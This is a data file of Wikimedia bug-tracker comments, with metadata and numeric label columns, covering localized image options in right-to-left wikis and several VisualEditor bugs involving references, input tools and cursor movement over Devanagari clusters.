+548458,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"@eranroz's code in wikieditor: https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FWikiEditor/8fa9506e20ce5216240531686fa0bd70fdb2a6d8/WikiEditor.hooks.php#L374
+
+I'm proposing a simple process:
+* Make a table with the various options whose serialization will be changed with this patch, both before and after.
+* Send this in an email to the language team for approval.
+** Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
+* For any languages where this patch does *not* match that wiki's preferred term, file an issue as a blocker for this bug, and resolve it.
+** Either add special cases to this patch, or else export some general siteinfo property (a boolean to ""prefer first alias"" or ""prefer last alias""), or else work with the community to swap the aliases in mediawiki (MessageEn in core, and then perhaps the actual wikipedias need to be checked for customizations that might override this)
+* After this is done, everyone will have objectively agreed that the terms used by this patch are preferable, and this patch can be merged.",,,1445278545,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,0
+548441,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"It's not just english, it's also dewiki IIRC.
+
+To unblock this issue, you need to survey all the wikis (not just enwiki and hewiki) and describe how this change will affect them, then get confirmation from the language team that the change is actually ""better"" for all these languages.
+
+We were burned before by changing this prematurely; before we're going to make another change we need to be sure we are actually doing the right thing.",,,1445277440,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0
+543011,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"A note specific for English: This fix will introduce ""thumbnail"" instead of ""thumb""  in parsoid. This side effect is the correct behavior as aliases are defined by the preferred order, and this is the syntax added by the current WikiEditor image dialog. If you prefer ""thumb"" and not ""thumbnail"" (personally I do too) which is shorter - you should swap the aliases in English (MessageEn in core, and enwiki.json in baseconfig) - but this should be a different task.",,,1444251608,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,118,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+542948,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 244254 had a related patch set uploaded (by Eranroz):
+Use local keyword for image
+
+[[https://gerrit.wikimedia.org/r/244254]]
+",,,1444247108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,118,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+247505,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"(In reply to C. Scott Ananian from comment #8)
+> Yes, that is correct.  The patch was merged and then the language-specific
+> parts were reverted because the way it selected the aliases was fragile in
+> LTR languages.  This is still on my to-do list for a proper fix; IIRC the
+> blocking issue is we need to export a simple RTL/LTR flag in siteinfo.
+
+Would it be easier if we just had Parsoid default to the (first?) localised string over the generic wikitext? This presumably doesn't need any MW API changes…",,,1401220172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+247499,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Yes, that is correct.  The patch was merged and then the language-specific parts were reverted because the way it selected the aliases was fragile in LTR languages.  This is still on my to-do list for a proper fix; IIRC the blocking issue is we need to export a simple RTL/LTR flag in siteinfo.",,,1401220107,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+247493,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"The above was merged in January, but this bug isn't fixed AFAICT. Also, we should probably use the local wikitext over the English version in all languages, not just RTL ones.",,,1401215876,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+247484,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 103082 had a related patch set uploaded by Cscott:
+Edited image attributes should override data-parsoid value.
+
+https://gerrit.wikimedia.org/r/103082",,,1387811331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,25,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247477,Image options should be serialized in the wiki's language in rtl locales - localization i18n,I'm pretty sure our magic words support already has the appropriate localized keyword alias. We just aren't using it (yet).,,,1378921869,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+247469,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"I went over the RTL languages and samples practical Wikipedia articles, and it seems that the first alias is always is always the most frequently used.
+
+Is there anything I can do to help move this forward? It's one of the most requested features.",,,1377641269,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0
+247464,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"For the site info, look for ""rtl"" in http://he.wikipedia.org/w/api.php?action=query&meta=siteinfo&siprop=general&format=json",,,1376690239,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0
+247458,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"We don't actually need to hard-code the list of rtl wikis, as that information is available in the site info returned by the API. It would still be good to check for each current rtl wiki if the first option alias is always a good one.",,,1376690182,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+247456,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"In most ltr wikis the English version is actually the most commonly used today, which is why we went with serializing new content with the English defaults.
+
+This is not ideal for rtl languages though, as this leads to a mix of ltr and rtl text.
+
+If you can provide us with a list of rtl language codes and check for each if a common offset in the option aliases is a good default, then we can add a list of rtl languages to the serializer and use the localized defaults for those.",,,1376689406,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+53848,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Steps to reproduce
+1. start an empty sandbox (https://en.wikipedia.org/wiki/User:John_Vandenberg/mtgg?veaction=edit)
+2. insert reference
+3. use an existing reference
+
+Expected results:
+'Use an existing reference' should be disabled, as there are none to select.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50458",Medium,50.0,1374557100,1377889832.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-jx64nu32n5cymzvwwjp5,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+247234,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Change 81964 merged by jenkins-bot:
+Re-build reference search index so they can be used mid-edit
+
+https://gerrit.wikimedia.org/r/81964",,,1377889945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+247229,VisualEditor: Disable 'Use existing reference' on pages without a reference,Now fixed in master and will be deployed next week.,,,1377889832,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247224,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Change 81964 had a related patch set uploaded by Trevor Parscal:
+[WIP] Bug 51689, bug 52000 & bug 51848 - Reusing new references
+
+https://gerrit.wikimedia.org/r/81964",,,1377886576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+53847,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"Steps to reproduce:
+1. Download and install Google input tools for windows www.google.co.in/inputtools
+2. Open any page in firefox
+3. Open VE
+4. Edit a reference
+5. Type anything in the reference. The word is input by the tools when the word is complete and one presses space/enter
+
+Expected Behaviour:
+The word is input and if the spacebar has been pressed, a space is input too.
+
+What happens instead:
+The word is entered recursively over and over. The space isn't input at all.
+
+System environment:
+Win 7 X64 SP1
+Firefox 15.0.1
+Google input tools for languages hindi and punjabi(gurmukhi script)
+
+The problem didn't seem to arise when using input tools for urdu, though its possible that's just coz the wiki is ltr and urdu is rtl.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374549360,1378958789.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-6nas4q7uc475euchng3b,task_description,resolved,True,c1,3,False,False,True,3,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+247191,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,Confirming that this is fixed in Firefox 23.0.1 on Win7 X64 SP1 for both punjabi (gurmukhi script) and hindi.,,,1379503051,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+247185,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958789,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+247179,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943165,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+53846,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Steps to reproduce:
+1. Open any page
+2. Open VE
+3. Type (or copy-paste) ग्र
+5. Press left arrow key
+
+What should happen:
+Cursor should move to the left of the glyph
+
+What happens:
+Cursor stays there
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 28.0.1500.72 m
+
+The problem arises regardless of what follows ग्र . I've tried with space, tab, the letter a, devanagari characters that do not combine with the glyph, like क, and devanagari characters that do combine with the glyph, such as ि to produce ग्रि and ी to produce ग्री
+
+The problem doesn't seem to affect firefox 15.0.1.
+
+In chrome, the problem doesn't arise in the link editing window, or when editing parameter of a template. It does, however, arise when editing a reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374547560,1430334001.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-xckf32rcb2yx56eieafj,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+451284,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",Have tested quite a lot and this seems fine.,,,1430334001,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,95,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+415437,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Seems to be fixed now, though probably needs to be tested extensively before closing.",,,1424612816,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,85,,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+247143,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","18:32 < Sid-G> Hi. Can someone confirm if the fix for https://bugzilla.wikimedia.org/show_bug.cgi?id=51846 has been deployed to the wmf cluster?
+
+18:40 < mutante> Sid-G: hi
+18:40 < mutante> i dont know much about ve but yes, it looks deployed
+
+8:40 < mutante> checked one of those changed files on tin
+18:41 < mutante> /php-1.23wmf6/extensions/VisualEditor/modules/ve/ce/ve.ce.Document.js
+18:43 < mutante> Sid-G: and also confirmed on random app server, so not like somebody forgot to deploy
+18:43 < mutante> if it doesnt work it should actually need an additional fix
+
+18:45 < Sid-G> hmm, then i should reopen the bug
+18:45 < mutante> yes
+18:45 < mutante> please do
+
+18:58 < Sid-G> mutante: reopened. Is there an irc chan for VE?
+
+19:15 < legoktm> #mediawiki-visualeditor",,,1386992085,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,23,,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+247134,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",We'll have to investigate. Sorry this isn't fixed yet!,,,1386989820,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+247126,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Reopening
+
+System Environment:
+Windows 7 X64 SP1
+Google Chrome 31.0.1650.63 m
+
+Urls:
+Same as in comment 6
+
+Glyphs:
+Same as in comment 0 , comment 1 and comment 6
+
+What happens:
+Crossing the glyphs now requires three keypresses going either left to right or right to left.",,,1386989489,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+247119,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Has this been deployed? If it has, it hasn't fixed the problem. Please reopen if this has been deployed. Tried at both urls per comment 6.",,,1386469991,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,22,,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+247114,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Change 80689 merged by jenkins-bot:
+Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1385506399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247108,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Change 80689 had a related patch set uploaded by Divec:
+DONTMERGE:Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1384946963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247102,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+247095,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Update:
+System Environment:
+Windows 7 X64 SP1
+Google Chrome 29.0.1547.76 m
+
+Tested at https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+
+न्स seems to now require three keystrokes. All the others listed in Comment 6 above along with ग्र भ्र श्र ष्र still require two keystrokes.",,,1380971530,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+247089,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+It seems similar behaviour (both with and without the patch) occurs when a letter is followed by ् + स regardless of whether the glyph appears joined or not.
+
+To be clear, the same problem occurs with this cluster, and the patch works the same.
+
+Results with the patch for all consonants, tested at [1]:
+Glyph(s) -- Number of keystrokes needed (going either left to right or right to left)
+क्स ख्स ग्स घ्स ङ्स च्स छ्स ज्स झ्स ञ्स ट्स ठ्स ड्स ढ्स ण्स त्स थ्स द्स ध्स न्स प्स फ्स ब्स भ्स म्स य्स र्स ल्स व्स श्स ष्स स्स ह्स -- 2
+
+I have not tested the selection per key-press for these, but I expect the results would be same as those in Comment 5
+
+Results without the patch, tested at [2]:
+All of the clusters can be passed with one right arrow key press going from left to right. None can be passed going right to left on any number of left arrow key-presses.
+
+[1]: https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit
+[2]: https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit",,,1379499369,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+247082,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","(In reply to comment #4)
+> There's code to address this bug in the following patch, which is due to go
+> live on mediawiki.org by 13 September 2013:
+> 
+> https://gerrit.wikimedia.org/r/#/c/82858/
+> 
+> It does not fix this completely, but it does make it possible to cursor left
+> through the cluster with repeated consecutive keypresses.
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Tested this out at [1]. The cursor moves past the glyph on two left arrow keypresses.
+
+I tried selecting the text with the left arrow keypresses. Then I copy-pasted the selected text into an external text editor. It seems the first keypress takes the cursor past र and the second past ग्
+However, visually the caret seems to be unmoved after the first keypress (i.e it does not move past the glyph or into the glyph) and crosses the glyph after the second keypress.
